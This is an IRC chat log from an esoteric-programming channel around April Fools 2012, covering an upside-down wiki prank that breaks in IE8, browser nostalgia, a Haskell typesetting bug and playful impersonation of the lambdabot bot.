18:39:48 <elliott> ie version?
18:40:29 <oerjan> ie 8
18:40:49 <oerjan> (which afaik is the latest which works with xp, btw)
18:41:12 <elliott> ok, gimme a minute
18:41:27 <elliott> no peeking until i fix :p
18:42:53 <elliott> oerjan: ok try ctrl+f5 now
18:43:43 <elliott> wait i think i messed it up
18:44:13 <elliott> oerjan: try now
18:44:34 <oerjan> there is at least a difference now ... the background color is changed and the scrollbar doesn't work :P
18:44:45 <oerjan> or pgdn
18:44:52 <elliott> huh, what happens to the background?
18:45:16 <oerjan> same as the sidebar now
18:45:26 <elliott> hmm
18:45:28 <elliott> a screenshot, please?
18:45:37 <elliott> I'm going by MS' documentation, which might be wrong
18:45:59 * elliott installs IE in Wine to test it himself
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18:46:31 <ais523> elliott: ies4linux?
18:46:47 <elliott> ais523: unmaintained IIRC
18:46:54 <elliott> I think winetricks can do it
18:47:50 <elliott> oerjan: a screenshot would still be useful, though
18:48:30 <oerjan> thank you, omploader for today's front page (nsfw)
18:49:05 <oerjan> http://ompldr.org/vZDg0bg/screenshot.PNG
18:49:45 <elliott> i think it just lists the most-accessed files
18:49:55 <elliott> oerjan: thanks
18:49:56 <oerjan> ...i guess.
18:50:23 <oklofok> nsfw?
18:50:30 <ais523> not safe for work
18:50:33 <oerjan> very much so
18:50:36 <oklofok> am i missing midget porn somewher
18:50:38 <oklofok> e in the pic
18:50:42 <elliott> hmmm
18:50:56 <elliott> oerjan: it looks ok in my wine-installed ie8, but i suspect it might be using gecko
18:51:01 <oerjan> it's porn indeed, i couldn't tell if it was midgets.
18:51:20 <elliott> let me try ies4linux
18:51:45 <elliott> oh, ies4linux only goes up to 5
18:51:46 <elliott> 6
18:51:58 <elliott> and doesn't work with latest wine
18:52:44 <elliott> oerjan: (i can disable it for now if you want to browse the wiki)
18:52:58 <oerjan> oklofok: oh i wasn't linking to the porn, that's on ompldr's front page
18:53:28 <elliott> oerjan keeps all his midget porn to himself
18:53:33 <oklofok> okay no midgets there
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18:53:59 <oklofok> i've seen enough naked midgets to know immediately
18:54:05 <oerjan> huh list of ideas has a scrollbar but only allows a part of the article :P
18:54:20 <olsner> oklofok, watcher of naked midgets
18:54:21 <zzo38> elliott: Can you tell me how to spirit project a computer?
18:54:23 <elliott> i've removed it temporarily, lemme fix this
18:54:34 <elliott> `WELCOME ZZO38
18:54:39 <elliott> zzo38: This is a very frequently asked question, check our wiki for more information!
18:56:54 <zzo38> It mentions nothing about how to spirit project a computer. (Searching for the term "computer" leads to no results)
18:57:04 <oerjan> elliott: heh are you trying to make it mirrored? the yafgc webcomic did that today too (although only to the comic itself and the title)
18:57:17 <elliott> oerjan: I said no peeking >:(
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18:57:58 <oerjan> elliott: erm ok. i had already clicked on the history diff so it was open in a tab
18:58:14 <elliott> That counts as peeking :P
18:58:20 <oerjan> OKAY
18:58:33 * elliott tries IE7 instead
18:59:13 <elliott> well that failed
19:00:08 <elliott> ais523: hey, do you have any IE?
19:00:19 <ais523> I have IE6, but don't use it while connected to the internet
19:01:08 <elliott> oerjan: You know, Chrome and Firefox are pretty nice...
19:01:19 <oerjan> YOU DON'T SAY
19:03:11 <elliott> oerjan: ok could you try now (this is just a test version to see what happens)
19:04:02 <oerjan> background still different, but scrollbar works now :P
19:04:09 <elliott> oerjan: and now?
19:04:25 <oerjan> no difference
19:04:46 <elliott> oh hm
19:05:12 <elliott> try now
19:05:28 <oerjan> *yawn*
19:05:53 <elliott> what
19:05:58 <oerjan> no difference
19:06:05 <elliott> hey it's not my fault IE is weird
19:07:02 <oerjan> hey it doesn't have to be IE's fault. maybe it interprets _several_ of those transforms i shouldn't peek at, and there are an even number so they cancel out
19:07:14 * oerjan trusting
19:09:54 <elliott> oerjan: ok try *now*
19:10:47 <oerjan> a true master of indistinguishible subtlety
19:10:51 <oerjan> *a
19:11:26 <oerjan> oh hm
19:11:28 <elliott> fine, i give up. your browser is completely broken. it obeys neither the specification, nor its own documentation
19:11:36 <oerjan> i checked another page, the language list.
19:11:44 <elliott> you *were* ctrl+f5ing all this time, right?
19:11:55 <oerjan> yes, i think so.
19:12:10 <elliott> ok what does the language list look like
19:12:21 <oerjan> anyway, the page looks _almost_ normal, except for the small detail that the title is at the bottom, upside down.
19:12:46 <elliott> wtf.
19:12:54 <elliott> screenshot?
19:12:58 <oerjan> since the main page has no title, i didn't notice it there :P
19:13:03 <elliott> (and is there a space where the title should be at the top?)
19:13:25 <oerjan> yes there is
19:14:15 <elliott> yeah, screenshot pls :P
19:14:20 <elliott> this is weird
19:17:05 <oerjan> http://imgur.com/tQIHz
19:18:27 <elliott> well
19:18:28 <elliott> that's impressive
19:20:05 <elliott> oerjan: ok i just changed the effect to something else for IE < 9.
19:20:09 <elliott> maybe *that* will work.
19:22:13 <elliott> does it? :P
19:23:06 <oerjan> nothing noticeable
19:23:36 <elliott> oh well.
19:23:49 <elliott> guess you'll just have to live without any fancy tricks
19:23:54 * oerjan guesses him using IE 8 is the universe's april fool's joke on elliott
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19:26:20 <elliott> you're the one suffering
19:28:27 <oerjan> always.
19:31:10 <oklofok> i still prefer ie over firefox, although i have to admit chrome is the nicest invention in the world. because you can drag and drop tabs.
19:31:41 <olsner> (opera has had drag-and-drop tabs since like forever)
19:31:59 <nortti_> oklofok: You can do that on firefox
19:32:03 <oklofok> well i haven't tried it
19:32:06 <oklofok> okay
19:32:17 <oklofok> so i guess if i tried everything now, ie would finally lose
19:32:30 <elliott> olsner: opera users are so cute
19:32:31 <oklofok> (except for the fact it's much more stable than firefox in my experience)
19:32:33 <olsner> elliott: :)
19:32:42 <elliott> olsner: enjoy ur market share
19:33:06 <nortti_> oklofok: when did you try firefox
19:33:40 <oklofok> nortti: a couple of years ago
19:34:09 <oklofok> i used to use ie until it did something annoying, and then switched to firefox until it did something annoying
19:34:20 <oklofok> and then back to ie
19:34:39 <nortti_> oklofok: Try it again. Firefox 3.* was terrible
19:34:43 <oklofok> but it usually took less than a day for firefox to do something stupid so finally i stopped using it
19:35:14 <oklofok> then at some point i tried chrome but on my laptop, all of its options windows were too big for my screen, and i couldn't close them
19:35:48 <oklofok> but i have a big screen now, and chrome hasn't done anything annoying since i bought this computer
19:35:51 <elliott> firefox 2 was terrible too, as far as memory usage/stability goes.
19:35:52 <oklofok> so for over half a year
19:36:22 <elliott> oklofok: funny, since chrome doesn't actually use pref windows any more
19:37:01 <oklofok> why is that funny?
19:37:26 <oklofok> and obviously i know since it's the only browser i use
19:37:41 <elliott> well, it's funny if you bought the new computer to run chrome
19:37:43 <nortti_> elliott: I had no problem with it. I actually maintained a version of Iceweasel 2 up to 2011 and then I switched to Iceweasel 4
19:37:45 <elliott> you haven't said otherwise so i'll assume you did
19:37:55 <oklofok> :D
19:38:39 <oklofok> yeah i paid 2000 euros for a computer so i could try a browser that did something extremely annoying during the first minute i tried it.
19:38:54 <oklofok> i'm just that oklo.
19:39:47 <nortti_> oklofok: You can get computer that can run Chrome for 10€
19:40:25 <oklofok> so just to make things clear, i was prefectly happy with ie, i bought this computer _for no reason_.
19:40:44 <oklofok> and i decided to try chrome again for lulz. but turned out it was awesome.
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19:41:46 <elliott> bet it runs minecraft better than your older one
19:42:53 <oklofok> it does
19:43:07 <oklofok> when i tried minecraft i was like what the fuck I CAN SEE MOUNTAINS
19:43:17 <oklofok> PHOTO FUCKING REALISM
19:43:43 <elliott> http://hackage.haskell.org/packages/archive/data-ordlist/0.4.5/doc/html/Data-List-Ordered.html oh, there's a package for this!
19:43:52 <oklofok> and i can open like *two* minesweepers at once
19:44:35 <hagb4rd> have you already tried the 8 bit version of google maps? http://www.youtube.com/watch?v=IF8BsdGaK3c
19:44:35 <zzo38> My DVI typesetting stuff in Haskell seem to do glue setting wrong. Is findBreaks wrong? findBreaks True f (h : t) | isJust (castNode h :: Maybe GlueNode) = ((\(x, y, z) -> (succ x, addGlue y (fst $ f h), z)) <$> findBreaks (isNodeDiscardable h) f t); findBreaks b f (h : t) = maybe id (\x -> ((0, fixedGlue 0, x) :)) (snd $ f h) ((\(x, y, z) -> (succ x, addGlue y (fst $ f h), z)) <$> findBreaks (isNodeDiscardable h) f t);
19:45:09 <elliott> i don't know
19:46:26 <nortti_> my browser history goes something like this: IE6 -> Firefox 2 -> Firefox 3 -> Firebird -> K-Meleon -> Iceweasel 2 with patches -> Konqueror, Iceweasel 2 with patches, Links2 -> Iceweasel 4, Links2 -> TenFourFox 5-11, Camino, Links2
19:48:08 -!- nortti_ has quit (Quit: nortti_).
19:48:12 <elliott> pffft, I used Firefox before you!
19:49:54 * oerjan used NCSA Mosaic so there
19:51:24 <elliott> Well, fuck you, I used WorldWideWeb.
19:51:32 <elliott> Or at least I tried to. Once.
19:51:53 <oerjan> okay.
19:52:15 <oklofok> i used ie before it was cool
19:52:17 <oklofok> on my windows 3.11
19:53:16 <elliott> the first web browser i used was either ie 5.something or ie 6.
19:53:31 <zzo38> Does this findBreaks looks wrong?
19:53:43 <hagb4rd> ie6 is the worst browser ever
19:54:29 <hagb4rd> at least you need all kind of hacks to make your site support it
19:55:05 <zzo38> hagb4rd: If you are just using simple HTML stuff it should be support in anything
19:55:06 -!- Tiktalik has changed nick to Urist_McTiktalik.
19:55:12 <elliott> hagb4rd: Please. You've clearly never seen IE 5.
19:55:15 <elliott> Or Netscape 4.
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19:55:28 <elliott> Urist_McTiktalik: DORF
19:55:52 * Urist_McTiktalik DORF
19:56:11 <elliott> Very good.
19:56:49 <hagb4rd> great zzo38.. that really relieves me
19:57:35 <Phantom_Hoover> who Urist_McTiktalik
19:58:00 * Urist_McTiktalik DORF
19:58:02 <Sgeo> Don't tell me you've made a DF-IRC bridge
19:58:03 <Urist_McTiktalik> That's all you need to know.
19:58:10 <Urist_McTiktalik> Sgeo: What
19:58:32 * Sgeo is aware that that doens't make much sense
19:58:41 <elliott> When did you appear here, anyway? I keep seeing you join and leave and I'm all "who's this Tiktalik guy".
19:58:44 <Sgeo> Although... a bot that tells IRC stuff that happens in a game
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19:59:58 <Urist_McTiktalik> elliott, I'm just Tiktalik
20:00:02 <Urist_McTiktalik> the enigmatic person who hardly talks
20:00:10 <hagb4rd> damn it..my power supply is messed up
20:00:15 <elliott> Urist_McTiktalik: Are you... a ghost?
20:01:04 <hagb4rd> eliott: afaik netscape4 supports the the wc3 conventions better than ie6
20:01:48 <elliott> hagb4rd: You have *clearly* never used Netscape 4.
20:02:19 <hagb4rd> i can't remember.. maybe 15 years ago
20:02:46 <hagb4rd> i don't know which version it was
20:03:51 <Sgeo> I had a book, "DHTML for Dummies"
20:05:16 <Sgeo> Talked about IE4 and Netscape 4
20:05:17 <Sgeo> iirc
20:06:20 -!- Taneb has joined.
20:06:27 <oerjan> elliott: he's a demonic fishlike creature
20:06:29 <Taneb> Hello
20:08:25 <Taneb> My BF Joust thing is now 213 lines
20:09:11 <zzo38> No, findBreaks is correct; that is not the reason for the wrong glue setting.
20:09:29 <Taneb> The looping code is unfinished, and it just executes 1 step and says it's a tie at the moment
20:09:34 <Taneb> But it's getting there
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20:33:24 <hagb4rd> are you familiar with stenography techniques? i can't find the hidden text in this picture :( https://www.wechall.net/challenge/training/stegano/caterpillar/caterpillar.png
20:34:39 <hagb4rd> though the author pretends it to be an easy one.. now i feel really stupid
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20:35:29 * oerjan thinks he hasn't seen mtve in a while
20:36:33 <oerjan> hagb4rd: today's special challenge, or something?
20:36:43 <hagb4rd> yes indeed
20:36:48 <oerjan> thought so.
20:38:16 * oerjan knows little about steganography but ihrc things are sometimes hidden in the lower bits
20:40:14 <elliott> Sgeo: ping
20:40:15 <hagb4rd> i've tried to cut off the last 2 bits in each pixel already..without success
20:40:38 <olsner> but today being today, there might not even be a hidden message
20:40:43 <oerjan> olsner: shhh
20:42:07 <oerjan> oh and there's metadata, maybe
20:42:35 <Sgeo> elliott, pong
20:42:42 <Urist_McTiktalik> elliott: No comment.
20:42:55 <hagb4rd> okay.. i will try harder. thanks so far :>
20:43:03 <elliott> Sgeo: You are subscribed to spoon-*, right?
20:43:09 <Sgeo> I .. believe so
20:43:28 <Sgeo> At least, I remember subscribing to and participating in B stuff, and don't remember unsubscribing
20:43:29 <oerjan> Urist_McTiktalik: OUT, FOUL DEMONIAN CREATURE
20:43:31 <elliott> Sgeo: I would appreciate it if you could reply to my two recent determinations (to s-b) saying you agree with them, thanks!
20:43:50 <elliott> ("I agree with both of ehird's pending determinations." in a message on its own would work fine.)
20:43:55 <zzo38> OK! I got the gloe setting fixed by now. (The mistake was that the datatypes I used were not large enough to store the intermediate results)
20:44:07 <Sgeo> Hmm, I assume this is a scam of some sort
20:44:14 <elliott> Sgeo: Nope.
20:44:23 <Urist_McTiktalik> oerjan: I'm not a ghost. >_>
20:44:32 <Urist_McTiktalik> Heck I'm not even sure what here is
20:44:42 <elliott> `welcome Urist_McTiktalik
20:44:45 <HackEgo> Urist_McTiktalik: Welcome to the international hub for esotericism and the occult! For more information, check out our wiki: http://www.demonicpedia.com/
20:44:46 <elliott> HOPE THIS HELPS
20:44:57 <elliott> If you really don't know what this place is and want a serious answer, see http://esolangs.org/wiki/Main_Page
20:45:39 <Urist_McTiktalik> elliott: Okay, so it is actually what I thought it was. I was a bit confused >_>
20:46:20 <zzo38> And the demonicpedia does not even tell you how to spirit project a computer anyways (I doubt anyone on this channel knows about that kind of stuff).
20:46:29 <hagb4rd> well thats a good point to start Urist_McTiktalik
20:48:05 <Urist_McTiktalik> anyway, yeah
20:48:14 <Urist_McTiktalik> i'm a dude who likes esoteric programming languages
20:48:32 <zzo38> Urist_McTiktalik: Good, because we have a lot of those.
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21:28:41 <elliott> hi Taneb
21:30:15 <Taneb> Hello
21:30:28 <Taneb> Had things on my mind, sorry
21:30:46 <Taneb> Although my BF Joust genetic thingy is nearing completion!
21:30:51 <Taneb> It needs a little tweaking, though
21:31:01 <Taneb> The best program it's came up with is "+"
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22:34:55 <elliott> PH is leaving for Canada.
22:35:06 <elliott> @tell Phantom_Hoover Hope you're having fun in Mexico!
22:35:06 <lambdabot> Consider it noted.
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22:54:45 <zzo38> Which province?
23:00:24 <elliott> zzo38: Chile.
23:09:59 <elliott> @time
23:10:00 <lambdabot> Local time for elliott is Mon Apr 2 00:09:57
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00:31:10 <elliott> http://techlaze.com/2012/03/richard-stallman-to-launch-his-own-fashion-line/
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01:38:10 <RocketJSquirrel> elliott: I think it may be time to de-1st the site ;)
01:42:27 -!- augur has joined.
01:43:12 <elliott> @time RocketJSquirrel
01:43:13 <lambdabot> Local time for RocketJSquirrel is Sun Apr 1 21:42:41
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01:43:55 <elliott> Lemme know when it's April 2nd on Baker Island.
01:44:54 -!- augur has joined.
01:55:38 <elliott> RocketJSquirrel: I can revert it if you really want me to :P
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02:01:20 <elliott> On sociological questions:
02:01:24 <elliott> <carter> as a sociological question: anyone else here observe the okcupid security vulnerability these weekend?
02:01:25 <elliott> <elliott> er, you're in #haskell
02:01:25 <elliott> <carter> it was sociological question
02:01:25 <elliott> <carter> nevermind
02:01:28 <elliott> * carter has quit (Quit: Textual IRC Client: http://www.textualapp.com/)
02:04:44 <elliott> @time shachaf
02:04:45 <lambdabot> Local time for shachaf is Sun Apr 1 19:04:15 2012
02:04:51 <elliott> RocketJSquirrel: Is it April 2 ANYWHERE?
02:06:50 <elliott> RocketJSquirrel: 'Tis done
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02:20:11 <hagb4rd> if you feel to fuel your hatred for mankind, you should watch 'black mirror', a dark dystopia (trilogy) by charlie brooks.. http://www.youtube.com/watch?v=lQKYB262H8E ..well done stuff
02:20:59 <elliott> I, too, fuel my hatred for humankind by watching completely fictional works.
02:21:43 <hagb4rd> seriously.. it mirrors some dark sides of human nature
02:22:19 <elliott> The French subtitles really add a touch of class.
02:28:07 -!- zzo38 has joined.
02:32:05 <shachaf> elliott: HI
02:32:43 <shachaf> elliott: You know what this channel doesn't have enough of?
02:32:51 <shachaf> The answer is sociological questions.
02:33:29 <zzo38> No, that is another question.
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03:01:24 <Sgeo> monqy, UPDATE
03:01:37 <Sgeo> elliott, I forgot are you still on update list?
03:01:48 <Sgeo> Although lately I haven't really been doing it :/
03:02:04 <monqy> elliott is on the update list
03:04:51 <shachaf> Am I on the update list?
03:04:58 <shachaf> what is the update list
03:05:05 <shachaf> HELP
03:05:05 <monqy> Sgeo: put shachaf on the update list
03:05:11 <monqy> shachaf: you're on the update list
03:05:12 <shachaf> Wait!
03:05:20 <shachaf> Do I want to be on the update list?
03:05:29 <monqy> yes
03:07:59 <elliott> everyone wants to be on the update list
03:09:17 <shachaf> elliott: What's the update list good for?
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03:20:33 <itidus20> @time
03:20:34 <lambdabot> Local time for itidus20 is Mon Apr 02 14:16:25
03:20:51 <Sgeo> @time
03:20:52 <lambdabot> Local time for Sgeo is Sun Apr 1 23:20:22
03:21:05 <Sgeo> Pulling a bizarre WIFOMy prank
03:21:07 <itidus20> i dont know if my pc time needs adjusting though
03:21:42 <itidus20> ahh should be 13:16:25
03:21:57 <itidus20> rather, 13:20:22
03:23:04 <itidus20> @time
03:23:06 <lambdabot> Local time for itidus20 is Mon Apr 02 13:22:35
03:26:26 <itidus20> hmm
03:26:46 <elliott> hagb4rd: Okay, I retract my sarcasm since that actually made me watch it and it's as good as I've heard, so thanks.
03:26:50 <elliott> shachaf: It's good for nothing.
03:26:53 <elliott> shachaf: Absolutely nothing.
03:27:01 <elliott> shachaf: And now you're on it!
03:27:18 <shachaf> elliott: How do I get off the update list?
03:27:31 <shachaf> elliott: I need to wake up before noon tomorrow. :-(
03:27:36 <shachaf> Several hours before.
03:27:53 <elliott> shachaf: Off?
03:27:58 <elliott> Oh, no. Nobody ever gets off the update list.
03:28:02 <elliott> Ever.
03:28:10 <itidus20> @time shachaf
03:28:12 <lambdabot> Local time for shachaf is Sun Apr 1 20:27:42 2012
03:28:49 <elliott> @tachaf
03:28:50 <lambdabot> Unknown command, try @list
03:29:40 <itidus20> i wonder if its possible for someone else to request the time on my client
03:30:28 <shachaf> elliott: Apparently cotton candy is called "candy floss" in the UK.
03:30:45 <itidus20> its called fairy floss here
03:31:11 <shachaf> @time itidus20
03:31:12 <lambdabot> Local time for itidus20 is Tue Nov 05 13:30:41
03:31:39 <shachaf> itidus20 is a time traveler. :-(
03:31:45 <itidus20> :-D
03:32:14 <shachaf> Wait, maybe the months are just backwards in the southern hemisphere.
03:32:24 <shachaf> That makes more sense.
03:32:30 <itidus20> it was a half-baked prank
03:32:43 <shachaf> So the summer is still in July but July happens in February.
03:32:56 <itidus20> frankly michael j fox hasn't aged a day since 1985
03:33:17 <elliott> shachaf: Apparently "candy floss" is misspelled "cotton candy" in the US.
03:34:51 <shachaf> elliott: OH YEAH, WELL, IN HEBREW IT'S CALLED "sugar on a stick".
03:34:56 <shachaf> At least, when it's on a stick.
03:35:06 <shachaf> At least that's what I always heard it called. Apparently there are other names.
03:35:09 <Sgeo> Grah, why is it when I WANT people to guess "It's an April Fools joke" they never do
03:35:11 * Sgeo is ticked
03:35:55 <shachaf> elliott: kmc wants to be on the update list.
03:36:23 <kmc> what?
03:37:25 <elliott> shachaf: Can I tell you a secret?
03:37:28 <elliott> shachaf: We're all on the update list.
03:37:32 <elliott> Every single person in the world.
03:37:38 <shachaf> Oh.
03:37:39 <elliott> Consigned, forever.
03:37:44 <elliott> Aren't you happy?
03:37:52 <shachaf> Yes.
03:37:55 <elliott> Oh.
03:37:56 <elliott> I'm not.
03:37:59 <shachaf> But it has nothing to do with the update list.
03:38:00 <elliott> :(
03:38:03 <shachaf> I'm just generally happy.
03:39:25 <zzo38> The months are not backward in southern hemisphere; the seasons are backward.
03:39:54 <shachaf> elliott: I get annoyed at some things, though. Like when people end sentences with words starting with an octothorpe. #annoyingthingsdespitebeinghappy
03:40:15 <shachaf> zzo38: That doesn't make any sense. Are you saying that itidus20 is a time traveler?
03:40:26 <shachaf> I thought time travel hadn't been invented yet.
03:40:35 <elliott> shachaf: I guess that's why you hate #haskell
03:40:39 <elliott> #didyouseewhatididthere
03:41:13 <elliott> #didyouseewhatididntthere
03:41:22 <shachaf> #isawwhatyoudidthere #butieatedit
03:42:56 <elliott> @time
03:42:57 <lambdabot> Local time for elliott is Mon Apr 2 04:42:54
03:43:00 <elliott> What!
03:43:02 <elliott> Come on.
03:43:04 <elliott> @time
03:43:04 <lambdabot> Local time for elliott is Mon Apr 2 04:43:01
03:43:08 <elliott> No! That's later!
03:43:46 <zzo38> shachaf: No, I am not saying itidus20 is time traveler.
03:43:58 <elliott> @time zzo38
03:43:59 <lambdabot> Local time for zzo38 is 2012/04/01 20:34:29 -0700
03:44:28 <shachaf> zzo38: But itidus20's local time is Nov 05.
03:44:30 <elliott> @time Urist_McTiktalik
03:44:31 <lambdabot> Local time for Urist_McTiktalik is Sun Apr 1 21:44:02
03:44:40 <elliott> Suspiciously... AMERICAN.
03:44:43 <zzo38> shachaf: Then it is set incorrectly.
03:45:10 <Urist_McTiktalik> lambdabot: Y U CTCP TIME ME
03:45:36 <shachaf> zzo38: I think it's more likely that it's Nov 05 in Australia.
03:46:42 <elliott> Agreed.
03:46:45 <elliott> lambdabot wouldn't lie.
03:47:14 <zzo38> elliott: Perhaps lambdabot wouldn't lie, but it asks the client and that client might lie or be incorrectly configured.
03:47:33 <zzo38> The sun declination means the sun will be directly overhead if you stand there. Depending on the tropical ecliptic longitude of the sun, the declination is the tropics on the world map (the Tropic of Cancer when the sun's ecliptic longitude is at 0 Cancer). The approximate dates of the sun's ecliptic longitude are given in most newspapers. When sun declination is near your hemisphere, it is summer time in your area.
03:47:45 <zzo38> So that is why the seasons backward in south hemisphere.
03:48:03 <lambdabot> no, it's really nov 05 in australia
03:48:08 <elliott> See?
03:48:51 <shachaf> zzo38: I think elliott just defeated your argument.
03:48:57 <zzo38> Do they use a different calendar in Australia?
03:49:28 <shachaf> zzo38: Do you trust lambdabot?
03:49:44 <zzo38> shachaf: Only if the input is correct.
03:50:04 <zzo38> If the input is correct, then the output will also be correct. Otherwise it might not be correct.
03:50:07 <shachaf> lambdabot: Is your input correct?
03:50:13 <lambdabot> yes
03:53:46 <zzo38> Do they use a different calendar in Australia?
03:54:10 <kmc> it's upside down
03:55:25 <zzo38> Which city does itidus20 live?
03:55:45 <elliott> australia
03:55:54 <zzo38> No, I connect it says, itidus20, TIME message is Apr 2
03:56:11 <zzo38> elliott: O, I thought you meant the *country* Australia. Sorry
03:56:25 <elliott> same thing
03:58:09 <zzo38> When I send the TIME request to itidus20, using direct or lambdabot, it asys is Apr 2. So why did you say is Nov 5?
03:59:27 <zzo38> Therefore I don't believe you
03:59:34 <shachaf> @time itidus20
03:59:35 <lambdabot> Local time for itidus20 is Mon Apr 02 13:59:02
03:59:49 <shachaf> itidus20: Did you move out of Australia since the last time I asked?!
04:00:23 <zzo38> You must have a fast airplane/boat/teleporter/whatever to move out of Australia that fast.
04:00:43 <elliott> rocket launcher
04:01:43 <zzo38> But still, I doubt that is the reason. Either you mixed up lambdabot to tell you the wrong answer or itidus20 set the time incorrectly on their computer to confuse you and then fixed it afterward.
04:02:28 <elliott> @tіme elliott
04:02:29 <lambdabot> Local time for elliott is Mon Apr 2 05:02:26
04:02:29 <lambdabot> Local time for elliott is Mon Apr 2 04:03:12
04:02:33 <elliott> What!
04:02:35 <shachaf> zzo38: Maybe itidus20 *is* a time traveler.
04:02:36 <elliott> I used a Cyrillic i.
04:02:40 <elliott> Oh.
04:02:42 <elliott> Spell correction.
04:02:46 <elliott> FOILED AGAIN
04:03:00 <lambdabot> im sorry :(
04:03:09 -!- lambdabot has left.
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04:03:16 <lambdabot> hi
04:03:25 <elliott> OK I will stop now.
04:03:49 <lambdabot> just kidding
04:04:00 <shachaf> elliott: Cale will rue the day when he allowed this to happen. :-(
04:04:37 <elliott> Naw. I'm respectable.
04:04:42 <elliott> 18k rep on SO, you know.
04:04:53 <elliott> (I even have a Careers.SO account! I don't want a career.)
04:05:03 <shachaf> I have a Careers.SO account!
04:05:10 <lambdabot> If multiple people are using lambdabot to @msg, it's harder to point the finger at any one of them.
04:05:12 <shachaf> I'm not sure how that happened.
04:05:14 <oklofok> why does it keep
04:05:22 <oklofok> ...being to earl
04:05:23 <oklofok> y
04:05:33 <elliott> shachaf: It's an "exclusive" "invite-only" service, which I think means they automatically invite pretty much anyone who gets an SO account.
04:05:34 <oklofok> hard to type with my guitar hogging my hands
04:05:40 <lambdabot> i'm elliott, and i approve of this message
04:05:45 <lambdabot> oklofok: good morning!
04:05:52 <shachaf> elliott: I got invited by SO user #13!
04:06:09 <elliott> shachaf: Jeff Atwood! I had no idea you were such good friends!
04:06:18 <oklofok> i went to work at like 1 am and proved such awesome things that i had to come home to chill out for a bit
04:07:03 <lambdabot> oklofok: do you hate me :(
04:07:15 <oklofok> nope
04:07:17 <oklofok> mornings to you too
04:07:29 <lambdabot> oklofok: ♥
04:07:55 * shachaf points the finger at elliott.
04:08:00 <elliott> No, shachaf sent that last one.
04:08:01 <elliott> The rest were me.
04:08:09 <shachaf> Huh?
04:08:13 <elliott> @admin - shachaf
04:08:16 <elliott> @admin + shachaf
04:08:34 <elliott> shachaf: Well, I didn't send that last one.
04:08:40 <elliott> It was either you, or... someone else.
04:08:48 <shachaf> @admin - shachaf
04:08:52 * shachaf isn't actually an admin.
04:09:26 <elliott> I want to know all the admin commands. :(
04:09:28 <shachaf> @flush
04:09:28 <lambdabot> Not enough privileges
04:09:30 <lambdabot> dun dun dun
04:09:44 <lambdabot> can't flush this
04:10:01 <monqy> lambdabot: hi
04:10:10 <elliott> This seems to be a rare consequence of a non-atomic process. Making the data routines atomic would obviously slow the site way down, so this glitch (while very improbable) is likely to forever stay a potential occurrence.
04:10:11 <shachaf> <lambdabot> monqy: hi
04:10:31 <elliott> Okay, I'm not using @msg any more.
04:10:34 <elliott> My hands are tied.
04:11:32 <elliott> @time
04:11:32 <lambdabot> Local time for elliott is Mon Apr 2 05:11:29
04:11:35 <elliott> Fuuuuuuuuuck
04:14:55 <elliott> monqy: Did you know I can make lambdabot quit from IRC?
04:14:56 <elliott> I won't, though.
04:14:59 <elliott> I'm far too responsible.
04:15:17 <zzo38> Well, at least you didn't do it permanently.
04:15:18 <monqy> I can make lambdabot
04:15:18 <monqy> uh
04:15:25 <monqy> evaluate haskell expressions
04:15:38 <shachaf> monqy wins
04:15:46 <elliott> @ignore + monqy
04:15:47 <elliott> NOT ANY MORE
04:15:49 <elliott> @ignore - monqy
04:15:53 <itidus20> phew
04:16:32 <shachaf> elliott: You can't even make lambdabot flush its state.
04:16:51 <elliott> @flush
04:16:51 <lambdabot> Not enough privileges
04:16:55 <elliott> shachaf: :(
04:17:19 <elliott> @flush
04:17:42 <elliott> @flush shachaf
04:17:51 <shachaf> :-(
04:18:12 <shachaf> elliott: I'm secretly a cache line.
04:18:52 <elliott> @time
04:18:53 <lambdabot> Local time for elliott is Mon Apr 2 05:18:49
04:18:57 <elliott> klfjsdfklf
04:20:23 <shachaf> lambdabot: elliott is being rude to me in /msg
04:20:26 <shachaf> Make him stop. :-(
04:20:43 <monqy> :-(
04:21:04 * lambdabot jabs elliott with a C pointer
04:21:18 <elliott> @slap shachaf
04:21:18 * lambdabot clobbers shachaf with an untyped language
04:22:23 <itidus20> L = {s,d,f} R = {j,k,l} RRLRLLLRRL .. therefore klfjsdfklf is highly random
04:22:26 <elliott> @admin - shachaf
04:22:33 <elliott> That'll learn ya.
04:23:08 <monqy> itidus20: oh?
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04:23:45 <monqy> itidus22: oh?
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04:49:29 <itidus22> curse my internet?
04:50:12 -!- itidus22 has changed nick to itidus21.
04:51:47 <monqy> yes
04:56:42 <itidus21> oh yeah the random thing
04:57:18 <itidus21> elliott typed an even distribution of left hand and right hand characters in his deuidewhudhweuidhweuid
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05:00:31 <itidus21> 2 instances of R followed by R, 3 instances of R followed by L, 2 instances of L followed by R, 2 instances of L followed by L
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07:18:58 <oerjan> <itidus20> its called fairy floss here <-- only the australians are willing to admit to the grim procedure whereby it is produced.
07:19:13 <oerjan> hth
07:21:28 <oerjan> <elliott> shachaf: We're all on the update list. <-- so that's what the matrix of solidity _is_
07:22:20 <pikhq_> oerjan: nonono. Only Australians use that particular production method.
07:22:27 <oerjan> oh.
07:22:48 <pikhq_> Americans prefer to use fairies as slave labor to work the cotton fields.
07:23:02 <oerjan> ah.
07:23:06 <pikhq_> Much more economically efficient. :)
07:31:42 <fizzie> oerjan: My mother-in-law told us we should always carry our own toilet paper because Norwegians are so miserly, they steal the toilet paper from public restrooms. Y/N?
07:32:36 <oerjan> fizzie: she said that yesterday, right?
07:34:15 <oerjan> i haven't had that particular problem, anyway. now if the personnel could only refill promptly...
07:35:04 <oerjan> (actually they _usually_ do.)
07:36:04 <oerjan> i suppose you might be thinking of roadside stop stuff though... i haven't used those much.
07:36:36 <oerjan> and being remote they might be vulnerable to _both_ sloppy refilling and vandals.
07:37:08 <oerjan> in lethal combination.
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07:39:44 <oerjan> <itidus21> elliott typed an even distribution of left hand and right hand characters in his deuidewhudhweuidhweuid <-- btw a _too_ even distribution can itself be a sign of nonrandomness.
07:40:33 * itidus21 sits and eats the fairy floss.
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07:50:44 <nortti> elliott: Did you really use WorldWideWeb? On NeXT computer?
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08:27:15 <itidus21> @time
08:27:32 <lambdabot> Local time for itidus21 is Mon Nov 19 08:05:02
08:33:32 <itidus21> @time pikhq_
08:33:34 <lambdabot> Local time for pikhq_ is Mon Apr 2 02:33:04 2012
08:34:13 <itidus21> meh.. hard to adjust time based on javascript because it adapts itself to the system time
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09:39:21 <zzo38> traverseBox :: Applicative f => (Node -> f Node) -> x -> f Node;
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10:09:42 <Taneb> Hello!
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10:11:28 -!- Taneb has changed nick to Taneb|Hovercraft.
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10:27:14 <Sgeo> Attention Facebook: Making things that change even when you don't click Accept or Ok or equivalent is BAD UI design
